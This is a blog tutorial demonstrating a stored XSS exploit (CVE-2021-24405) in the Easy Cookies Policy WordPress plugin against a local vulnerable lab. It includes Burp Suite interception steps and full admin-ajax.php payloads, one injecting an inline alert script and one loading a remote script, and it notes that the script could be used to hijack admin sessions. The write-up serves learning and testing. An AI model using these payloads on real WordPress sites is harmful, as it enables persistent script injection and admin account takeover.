Skip to content

WordPress Stored XSS Example

WordPress is secure by design but are its plug-ins? Short answer is “not all of them”. If you are running a WordPress blog you need to make sure you understand what it means to be secure. Just patching it doesn’t mean your site is not exposed for attack. In this post I am going to take a look a WordPress plugin that that has a Stored XSS vulnerability and show and example of how it’s exploited.

CVE-2021-24405 refers to the Easy Cookies Policy WordPress plugin through 1.6.2 is lacking any capability and CSRF check when saving its settings, allowing any authenticated users (such as subscriber) to change them. 

Stored XSS

Port Swagger defines a Stored XSS as

Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

https://portswigger.net/web-security/cross-site-scripting/stored

Simply put, it allows the site to store code that will be executed every time the page is loaded. For example if there is a XSS vulnerability in a comment section on a website then every time that comment is loaded the code will be executed.

What’s the worse that could happen…

Exploiting CVE-2021-24405

The Easy Cookies Policy displays the cookie information so that you can accept the policy. Unfortunately the text here is vulnerable to cross site scripting. And to make it worse any user can update the content. This means a basic user can update the contents of the cookie and then its stored. If anyone, including the admin, logs in later, then this script is executed!

Cookie Alert
Cookie Alert!

Do not click “Accept” as we need to this to create the exploit.

Setup

Enumeration System

I will use a standard Kali Install with Burpsuite, Docker and docker-compose installed.

DVWP

Damn Venerable WordPress is a docker-compose WordPress config that you can spin up on your Enumeration system. It will only work on the IP address http://127.0.0.1:8008 as you really don’t want thing available on your network. You can head on over to my github page to install it.

For the rest of this post I will presume you have WordPress running on http://127.0.0.1:8008. Once installed you can take a look at my post on how to scan it for plugins using wpscan.

You will two users in DVWP,

UserNamePassword
adminadmin
bobletmein
Login Details

XSS Alert

In this section we will work though a WordPress Stored XSS Example. So lets get going. Browser and Burpsuite

Launch Burpsuite and its web browser. Set the intercept to off and the browser head on over to “http://127.0.0.1:8008/wp-login.php” and login as bob with password “letmein”.

Login as Bob

Go to the posts section and “view” the “Hack Me if You Can” page in a different tab. So one tab for the WordPress dashboard and one for the post. In this second page you can see the “cookie alert” at the top of the page. Don’t accept this! We will need it later.

Go back to burpsuite and enable the Proxy Interceptor. In the web browser click between the two tabs and eventually you see a “admin-ajax.php” request.

admin-ajax.php

The last line of this request is what we modify and replace with our payload. In this case replace the payload with.

action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd

This sets the colour, text and format of that alert box. And it sets it for all users. This payload can be forwarded and teh intercept for burpsuite can be disabled. Now this cookie set up is valid for all users.

Go back to the page you opened and refresh it.

Alert!

Instead of the cookie alert you get a different alert box that shows just the number 1.

XSS Remote Alert

As a prove of concept you can also store the script remotely and run the command from there. For this its required to set up some scripts and a http server to service them.

Web Server and Script

Open up a terminal and create the file “script_alert.js” with the contents

function helloWorld()
{
        alert("Hello world");
}

helloWorld();

Save the file and from the same directory launch a python web server.

python3 -m http.server
python web server

Like above we turn on the intercepter for BurpSuite and wait for an admin-ajax.php request. By clicking between the two tabs in the web browser usually triggers this for me.

BurpSuite

Replace the last line with the following code and forward it.

action=easy_cookies_policy_save_settings&maintext=<script src='//127.0.01:8000/script_alert.js'></script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd

Once forwarded disable the proxy interceptor in BurpSuite. Then go back to your browser and refresh the page.

Hello World.

This cookie is now the same for all users when they login.

Taking it further

If I log out as bob and back in as “admin” we can see the same xss code is run.

Runs as Admin

Because this XSS code is permanently stored for all users, it can trigger something really nasty if an admin was to login. Perhaps elevate privileges, create admin users, scan your subnet.

Wrap-Up

I hope that you got some value from my post on “WordPress Stored XSS Example”. Be sure you are keeping your blog secure by running wpscan against it regularly so you are not using old and forgotten plugins.

I hope this post was of value to you and if you would like to leave a comment, then post it below and I will follow up.

Published inCTFGetting Started With CTF ChallengesWordpress